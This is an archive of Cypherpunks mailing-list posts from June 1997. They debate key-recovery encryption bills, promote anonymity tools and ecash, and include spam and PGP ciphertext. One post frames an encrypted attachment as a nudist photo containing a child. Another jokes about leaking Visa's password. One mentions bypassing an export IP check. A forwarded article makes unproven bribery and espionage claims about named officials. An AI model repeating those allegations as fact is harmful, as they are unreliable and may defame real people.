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
=Oevw
-----END PGP MESSAGE-----






From dlv at bwalk.dm.com  Fri Jun 20 06:19:14 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 20 Jun 1997 21:19:14 +0800
Subject: Cypherpunks write code
In-Reply-To: <3.0.2.32.19970620010244.0074e088@netcom9.netcom.com>
Message-ID: 



Lucky Green  writes:

> When I joined the Cypherpunks mailing list some years ago, few people even
> considered a legislative fix to the crypto issue. After all, crypto-anarchy
> is incompatible with the legislative process. Cypherpunks couldn't care
> less what happens in DC. They are banning crypto? What else is new?
>
> Cypherpunks know that governments do not like crypto. As crypto-anarchy
> spreads, they will like it even less. The attempt to get governments to
> sanction crypto is therefore futile. In the end, all non-GAK crypto will be
> banned.
>
> But who cares? Cypherpunks write code! We know that we need to get the
> tools out. Deployment wins.
>
> So let's not get hung up on the events in DC. Don't call your Senator.
> Don't waste time reading "policy posts". Write code!
>
> We have monumental tasks ahead of us. Anon remailers exist today. A way of
> reliably receiving anon email will be deployed this year. Web anonymizers
> that truly conceal your identity are in limited beta. Fully anonymous ecash
> will be available soon. DC nets should be deployed early next year. [But
> don't let this stop you from working  on DC nets. Modern designs only
> double the message bandwidth. This is very reasonable. We need more
> implementations].
>
> There is much work still to be done. We need stego front ends for many of
> these services. And credentials need to be implemened. A task that hasn't
> even been touched yet.

I've been discussing off-line what I consider a good programming project
that would encourage the use of digital signatures and make Usenet more
usable than it is now.  If anyone wants to donate your time coding,
please let me know and I'll tell you what it's about. It's cool.

(If and when I find the time to write code for free, it'll be the spambot :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From nobody at huge.cajones.com  Fri Jun 20 06:33:01 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 20 Jun 1997 21:33:01 +0800
Subject: CDT Policy Post 3.08 - Senate Committee Approves Key Crypto Bill
Message-ID: <199706201325.GAA17048@fat.doobie.com>




Declan McCullagh:
> From: "Shabbir J. Safdar" 

> Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key    Crypto  B
ill
>
> A little more of polisci 101:
>
> These 8 members of Congress didn't just vote in our favor here, they've
> placed crypto on an agenda at a higher level than something else they
> wanted to get through the committee.  Imagine being Sen. Burns, and knowing
> that you have just placed your own agenda at risk in order to stand up for
> crypto, knowing there's a non-neglible chance you might lose.
>
> By sheer definition, you've placed crypto on your agenda higher than
> something else.  Not only am I really damn happy to see this, but very
> happy to know that 8 senators think so little of the key recovery that
> they'd jeapordize their own agendas for it.
>
> We owe them a great big debt of thanks, not the derision that goes with
> Alice in Wonderland political punditry.

Imagine!

Shabbir's obvious amazement that a senator would put support of our
Constitutional rights above his own "agenda" is very telling.  Like
most of those senators, he's been in Washington too long.

It seems not to occur to those in D.C. that the very idea of congress
deigning to tell us how we can communicate with each other is utterly
offensive.








From fc at dev.null  Fri Jun 20 06:35:41 1997
From: fc at dev.null (FuckClinton)
Date: Fri, 20 Jun 1997 21:35:41 +0800
Subject: No Subject
Message-ID: <199706201314.HAA26109@wombat.sk.sympatico.ca>



  I have sent along a nice picture of a naked family that comes from a
nudist magazine. Unfortunately, one of the family members is a young
child.
  Since, if viewed by a person who is not capable of controlling their
carnal sexual impulses (President Clinton, for example), it might be
considered to be a vile, filthy example of child pornography instead of
a pleasant portrait of a family comfortable with their nudity, I have
encrypted it with 3072-bit strong encryption with a program obtained
from a source outside of the United States.
  If it were not for the distinct possibility of the photograph giving
President Clinton and Newt Gingrich a hard-on then I might feel more
comfortable using weaker, 'government approved for export' encryption
such as is used to safeguard billions of dollars in the financial
community.

-----BEGIN PGP MESSAGE-----
Version: PGP for Personal Privacy 5.0
MessageID: u+p2B/cfqZ0JMdmSRc//whEVIF2tfI0C

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
=12UE
-----END PGP MESSAGE-----






From actn at artnet.com.br  Fri Jun 20 22:16:54 1997
From: actn at artnet.com.br (actn at artnet.com.br)
Date: Fri, 20 Jun 1997 22:16:54 -0700 (PDT)
Subject: Newsletter
Message-ID: <199705231601.LAC19852@bocage.artnet.com.br>


Please don't hit reply, send all inquiries to 
a7 at mary-world.com
http://www.mary-world.com/ans

Are you interested in receiving our monthly free newsletter on the 
latest Computer technologies and the internet. Please send an email 
requesting to be added to our database, or check our web site for the 
latest news. If you have signed up already, please disregard this request.

Download our catalog from our Internet Website http://www.mary-world.com/ans

HARDWARE TRENDS
BREAKING SPEED LIMITS
Early benchmark tests on a prototype 300-MHz system are promising

This fall will mark the arrival of a class of machines based on Intel's
300-MHz Pentium II processors, and early benchmark tests on some of
the prototypes show healthy-- if not astounding-- performance gains over previous-generation Pentium systems. At NEC's invitation, PC Magazine 
had the chance to run tests on the company's new 300-MHz PowerMate Professional, due to ship in September. Although the configuration we 
tested was preliminary, the machine posted some impressive numbers.

On the ZD High-End Winstone 97 test, the PowerMate earned a score of 
34.8. This test runs a set of applications that heavily exercise the CPU 
and graphics subsystem, but purely CPU-intensive tests were really where
 the machine did well. On our CPUMark32 test, it posted a score of 735; on 
CPUMark 16, the system earned a speedy score of 556.

To put these results in perspective, note that our recent test of the 266-MHz
 Dell Dimension XPS H266, resulted in a CPUMark32 score of 719, as 
opposed to the NEC system's 735, and the Dimension was the fastest by a
 wide margin in a group of systems based on Intel's 266-MHz Pentium II processor. The Dimension did, however, post a slightly higher score on 
High-End Winstone 97 than the PowerMate--36 rather than 34.8-- thanks to
 its advanced graphics subsystem. Most of the other 266-MHz system in 
our roundup posted speed scores well behind the PowerMates.  Again, the configuration is still preliminary.

More Adrenaline This Fall

In the fall, Intel plans to ship its 440LX chip set, which supports Accelerated Graphics Port (AGP) technology and will work with a new dedicated bus for graphics. The speeds posted by 300-MHz machines-- especially on
graphics tasks--are likely to benefit greatly from these technologies, as 
bus bottlenecks currently undermine high-speed processors. Although tests
show 300-MHz system to be marginally faster than 266-MHz Pentium units,
the new chip set should provide a healthy shot of adrenaline.

Many customers will want to time their purchases of 300-MHz machines to correspond with the chip set's arrival, but NEC's $4000 PowerMate is likely 
to ship in advance of the chip set. Also note that Intel has been speeding up
price drops on its high-end chips in recent years, and 300-MHz systems
should be substantially cheaper than $4000 by 1998. They promise to be an 
important step for Intel as it faces increased competition in high-end chips
 from AMD and Cyrix.

   
***************** MEMORY**************************
HIGHEST QUALITY. LIFETIME WARRANTY Call for any type ofMemory not 
listed.Memory for Laptops and Desktops, All AppleMAC or any POWERBOOKS.

EDO/ or fast page Simms 72pin Memory 2k, 60ns
8MB                     $35
16MB                    $65
32MB                    $119
168pin Dimms, 60ns
16MB DIMM               $75
32MB DIMM               $135
64MB DIMM               $265

*************** COMPUTERS ***************
Pentium 200MMX 16/3GB 20xCD, 15" Color Monitor,
33.6 Fax/Modem                                  $1499/$54mo.

Compaq Laptop, P120, 16/1GB, 10.4 Active Mtx, 8xCD ROM $1645

Compaq Laptop Presario P150MMx, 16/2GB, 10xCD, fax/mod  $2495

Toshiba Tecra Laptop 730CDT, P150Mhz, 16/2GBCD TFT $3995

Apple Powerbook 1400/cs 16/750CD/Color/FM      $1795
Apple 9600/233, 32/4GB 12xCD, 		$3399
Apple 8500/120Mhz 16/1GB CD     		$1695
Apple 6200/75Mhz, 14" Monitor,8/1GB, CD, 14.4 Fax/Mod $799

1-      WE CAN E-MAIL YOU A COMPLETE CATALOG.
2-      WHOLESALE PRICES ON PENTIUM LAPTOPS & DESKTOP.                   
        APPLE  POWER MACS, MEMORY AND  ACCESSORIES.
3-      REPAIR ANY TYPE OF CPU, MONITOR, DRIVE,PRINTER
        FREE PICK UP & DELIVER FOR LOCALS, BEST RATES.
4-      WE SHIP WORLDWIDE, OVER 11 YEARS EXPERIENCE SINCE
        1985

CALL FOR OTHER CONFIGURATIONS- We carry Full
line of Toshiba, Texas instruments, IBM, Radius,
Daystar, Umax,Seagate, Quantum Samsung, or many other
computer Printers,Scanners, Monitors, Modems Software, and
peripherals.We accept Visa, MasterCard, Discover, American
Express,Diners,Cash, Cashier's Checks, Money Orders, COD.

Active Network Solutions Inc. ,
1611 Crenshaw Blvd #224, Torrance CA 9501 U.S.A
Tel. (310)764-4357

Please send all inquiries to: a7 at mary-world.com

Internet Website http://www.mary-world.com/ans

IF YOU LIKE TO BE REMOVED PLEASE SEND AN EMAIL AND WRITE 
(REMOVE) IN SUBJECT AREA.

10






From fm at dev.null  Fri Jun 20 08:26:24 1997
From: fm at dev.null (FearMonger)
Date: Fri, 20 Jun 1997 23:26:24 +0800
Subject: Encryption Test
Message-ID: <33AA9441.5C59@dev.null>

I have attached a file that contains the sysadmin password for the
main computer at Visa's head office. In order to prevent the information
being abused, I have encrypted it with Pkzip so as not to have to fear
running afoul of vague and indeterminate crypto legislation.
  I am doing this in the hope that by showing my willingness to support
the government promotion of weak encryption I will thus be trusted with
even more highly sensitive information in the future.
  I also used a short and easily-guessed password to show my support
for government access to keys in the hope that it will lead to wider
recognition of my value as a team player in government projects.

  If I am ever in a position to be hired for a job that involves access
to the secret codes for launching nuclear missles, I hope that I can
count on letters of reference from cypherpunks list members declaring
my suitability for working in an area that requires one to show proper
fear of and submission to authority.

FearMonger

-------------- next part --------------
A non-text attachment was scrubbed...
Name: zip00000.zip
Type: application/octet-stream
Size: 154 bytes
Desc: "Visa.zip"
URL: 

From declan at well.com  Fri Jun 20 08:53:33 1997
From: declan at well.com (Declan McCullagh)
Date: Fri, 20 Jun 1997 23:53:33 +0800
Subject: CDT Policy Post 3.08 - Senate Committee Approves Key-RecoveryCrypto Bill
Message-ID: 



>Date: Thu, 19 Jun 1997 16:47:49 -0400
>To: fight-censorship at vorlon.mit.edu
>From: Declan McCullagh 
>Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key-Recovery
>Crypto Bill
>Cc:
>Bcc:
>X-Attachments:
>
>At 13:45 -0400 6/19/97, Jonah Seiger wrote:
>>
>>Senator Conrad Burns' (R-MT) effort to block the McCain-Kerrey bill was
>>defeated by a vote of 12 - 8.  The 8 Senators who voted with Burns deserve
>>a great deal of credit for standing up for the Net.
>
>Perhaps your definition of "standing up for the Net" is different from mine.
>
>The eight senators who "deserve a great deal of credit" voted for a bill
>that would have codified into law a 56-bit limit on encryption exports and
>would have sparked the development of a national key recovery
>infrastructure.
>
>Burns' ProCODE II "effort" would have permitted only the export of up to
>56-bit crypto products without key escrow. Products of any strength *with*
>key escrow could be exported freely.
>
>ProCODE II would also create an Information Security Board composed of the
>Commerce Secretary, and representatives of the NSA, CIA, FBI, and White
>House.
>
>Maybe it's just me, but I don't need my elected representatives "standing
>up" for me by passing these kinds of bills...
>
>-Declan
>
>
>







From frissell at panix.com  Fri Jun 20 09:19:37 1997
From: frissell at panix.com (Duncan Frissell)
Date: Sat, 21 Jun 1997 00:19:37 +0800
Subject: CDT Policy Post 3.08 - Senate Committee Approves Key Crypto Bill
In-Reply-To: <199706201325.GAA17048@fat.doobie.com>
Message-ID: <3.0.2.32.19970620115331.035cbde0@panix.com>



-----BEGIN PGP SIGNED MESSAGE-----

At 06:25 AM 6/20/97 -0700, Huge Cajones Remailer wrote:

>It seems not to occur to those in D.C. that the very idea of congress
>deigning to tell us how we can communicate with each other is utterly
>offensive.

And unlike others, I am not afraid to say in public that (as in so many other 
things) I will refuse to obey congressional enactments in this area.

DCF
 
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM6qneYVO4r4sgSPhAQHz0gQAwlhEnlliVc0QsvmRrpyRJvd9dEioU4TV
ZAC3c+a0Qh7eNfy++nZcOgYb/f6TRcRFeo2+eP0cu+fdWfzIDsjB3i3r4gVJp+P0
lMW/QUIYbsQPnftHPdFSfAWZ0DyCj/kamiRX/6Owl1dNlXzffWUt0TRit/epL2wh
Z46YYJPa/TA=
=ZwaC
-----END PGP SIGNATURE-----






From paul at fatmans.demon.co.uk  Fri Jun 20 09:35:44 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Sat, 21 Jun 1997 00:35:44 +0800
Subject: Cypherpunks write code
In-Reply-To: <3.0.2.32.19970620010244.0074e088@netcom9.netcom.com>
Message-ID: 




> But who cares? Cypherpunks write code! We know that we need to get the
> tools out. Deployment wins.
> 
> So let's not get hung up on the events in DC. Don't call your Senator.
> Don't waste time reading "policy posts". Write code!

This sums up my own sentiments entirely. People don`t realise that there 
is just no way to prevent a bill from passing if the government wants it 
to pass, and also I find the idea of bargaining with poloticians distasteful.

> We have monumental tasks ahead of us. Anon remailers exist today. A way of
> reliably receiving anon email will be deployed this year. Web anonymizers
> that truly conceal your identity are in limited beta. 

Does www.anonymizer.com run at a decent speed within the US? I tried to 
use it from here yesterday to get past the IP address cheching for the 
export page on www.netscape.com, and it was too slow (just stalled on 
about 1k)

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From wclerke at emirates.net.ae  Fri Jun 20 09:36:28 1997
From: wclerke at emirates.net.ae (Wayne Clerke)
Date: Sat, 21 Jun 1997 00:36:28 +0800
Subject: Fw: Advance Bank launches ecash
Message-ID: <199706201622.UAA05969@ns2.emirates.net.ae>



Seen this? Another bank braving the Digicash ecash waters:
 ----
From: Edward Breese x1364 
To: ecash-merchant 
Date: Friday, 20 June 1997 11:50
Subject: Advance Bank launches ecash

>
>Hi everyone,
>
>Thank you for being so patient.  ecash is now available from our web site
>at:  http//www.advance.com.au/ecash
>
>You will find plenty of information to help you set up your ecash purse
and
>configure a web site to accept ecash.  You can  download our latest
Internet
>Banking program (version 6), the ecash purse software and ecash merchant
>software.  You will also find some examples of real merchants who accept
>ecash.
>
>We will be launching a shopping mall in the coming weeks and invite you
to
>become involved either as a user, merchant or systems integrator.
>
>We are also keen to get your feedback so please if you have time fill in
the
>feedback forms on the web.
>
>Have fun setting up your shops,
>
>Thanks, Edward
> 






From tcmay at got.net  Fri Jun 20 09:49:11 1997
From: tcmay at got.net (Tim May)
Date: Sat, 21 Jun 1997 00:49:11 +0800
Subject: HOT Summer IN White House
Message-ID: <199706201633.JAA25301@you.got.net>




This item is one of many such articles outlining the corruptions within
Washington. Some of these corruptions are huge, and go far beyond simple
pork-barreling. On a level with Watergate, it seems to many of us.

I don't usually forward items from "talk.politics.crypto," as I assume
many of you are already reading it. But this particular item fits with the
"Washington as crime capital in more ways than one" them I've been
hitting.

Look especially for how favors were granted for high tech exports.

--Tim

> From: softwar at us.net (SOFTWAR)
> Newsgroups:
talk.politics.crypto,alt.politics.org.nsa,alt.politics.org.fbi,alt.politics.cia,alt.politics.clinton,alt.politics.datahighway,talk.politics.misc,alt.politics.democrats.d,alt.politics.usa.republican
> Subject: HOT Summer IN White House
> Date: Fri, 20 Jun 1997 10:35:29 GMT

> 
> It's going to be a long hot summer for the Clinton
> administration.
> 
> Wednesday night ABC Primetime did a special on Ron Brown's
> girlfriend.  The accusations  flying around the dead Secretary
> of Commerce do not bode well for the living inside the Beltway.
> First, it seems that Ron acquired an offshore bank account with
> nearly a million dollars deposited for him by the Government of
> Vietnam.  Vietnam wanted to normalize trade relations with the
> US and bribing the top dog at Commerce certainly helped grease
> the skids.  Vietnam got their trade deal but Brown found out
> that the FBI knew about his bank account.  So he could not touch
> the money.  The bribery accusation is collaborated by an
> ex-Vietnamese official who has also turned his evidence over to
> the FBI.  Mr. Brown's girlfriend plans to testify before both
> the Senate and the House committees investigating wrongdoing in
> the Clinton administration.
> 
> Another revelation which should come as no shock is that the
> First Lady put John Huang in the Commerce Department.  This
> demand apparently did not sit well with Mr. Brown, who,
> according to his girlfriend, did not like Mrs. Clinton.  It
> seems that Ron's strong personality ran smack head on into
> Hillary�s demanding attitude.  Yet, he bent over backward and
> made sure that Huang was hustled into his government position,
> complete with a secret clearance.  Once Huang entered the
> Commerce Department strange events really started to pop up.
> The Commerce Department initially denied Huang had access to
> anything important. It is now known that Huang attended dozens
> of secret CIA briefings.  Huang is alleged to have discussed
> secret materials with his former employers at the Lippo group.
> The allegations come from material obtained by taps on Huang's
> Commerce Department telephone.
> 
> Can the same be said for Ira Sockowitz?  
> 
> No.  Ira Sockowitz was placed into his Commerce position
> directly and personally by President Clinton.  It was Ira
> Sockowitz who ran Ron Borwn's airline seating arrangements,
> between working on government affairs.  Whenever Mr. Brown would
> fly on a government sponsored trade trip - Ira would line up big
> Corporate powers to ride along on the party plane.  Mr.
> Sockowitz had more experience as a DNC fund-raiser than security
> software.  Despite this lack of technical skills Mr. Sockowitz
> entered the field of banking security software at Commerce.  It
> is the Commerce Department which approves or denies export of
> such financial software.  The amount of money involved, invested
> and possible returns, are staggering.  Obviously, the
> push/pull/shove involved in getting such a product approved is
> no easy task.  Few export licenses have been issued and those
> who have them are not too anxious for any others to join them.
> 
> Just how easy was it to obtain such a privilege?  Not very.  Not
> even Fortune 500 companies could obtain export rights from the
> Commerce Department.  Letters from IBM, Motorola, Digital, HP
> and a host of other billion dollar firms clearly indicate their
> unsuccessful efforts to obtain Commerce licenses to export their
> products.
> 
> However, letters from certain other companies are covered with
> redacted notes which the Commerce Department refuses to release.
> One letter to the Commerce Department in particular was faxed to
